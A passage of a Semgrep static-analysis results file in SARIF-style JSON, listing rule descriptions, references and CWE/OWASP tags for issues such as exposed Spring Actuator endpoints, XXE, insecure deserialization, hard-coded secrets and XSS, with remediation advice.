[https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints-exposing-endpoints](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints-exposing-endpoints)\n - [https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785](https://medium.com/walmartglobaltech/perils-of-spring-boot-actuators-misconfiguration-185c43a0f785)\n - [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)\n","text":"Spring Boot Actuator is fully enabled. This exposes sensitive endpoints such as /actuator/env, /actuator/logfile, /actuator/heapdump and others. Unless you have Spring Security enabled or another means to protect these endpoints, this functionality is available without authentication, causing a significant security risk."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","id":"java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","name":"java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-actuator-fully-enabled.spring-actuator-fully-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information."},"help":{"markdown":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CloudWatch Log Group has no retention. Missing retention in log groups can cause losing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","id":"terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","name":"terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudwatch-log-group-no-retention.aws-cloudwatch-log-group-no-retention"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","id":"javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","name":"javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Square OAuth Secret detected"},"help":{"markdown":"Square OAuth Secret detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret)\n - [https://github.com/Yelp/detect-secrets/blob/master/tests/plugins/square_oauth_test.py](https://github.com/Yelp/detect-secrets/blob/master/tests/plugins/square_oauth_test.py)\n","text":"Square OAuth Secret detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","id":"generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","name":"generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","id":"terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","name":"terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation."},"help":{"markdown":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1)\n - [https://link.springer.com/chapter/10.1007/BFb0055716](https://link.springer.com/chapter/10.1007/BFb0055716)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://www.pycryptodome.org/src/cipher/pkcs1_v1_5](https://www.pycryptodome.org/src/cipher/pkcs1_v1_5)\n","text":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","id":"python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","name":"python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","id":"python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","name":"python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS."},"help":{"markdown":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication)\n - [https://cwe.mitre.org/data/definitions/287.html](https://cwe.mitre.org/data/definitions/287.html)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n","text":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS."},"helpUri":"https://semgrep.dev/r/yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","id":"yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","name":"yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A04:2021 Insecure Design","OWASP-A07:2021 Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","id":"python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","name":"python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","id":"python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","name":"python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep)\n - [https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","id":"java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","name":"java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","id":"go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","name":"go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.puppeteer-express.puppeteer-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.puppeteer-express.puppeteer-express","id":"javascript.express.code.puppeteer-express.puppeteer-express","name":"javascript.express.code.puppeteer-express.puppeteer-express","properties":{"precision":"very-high","tags":["CWE-94: 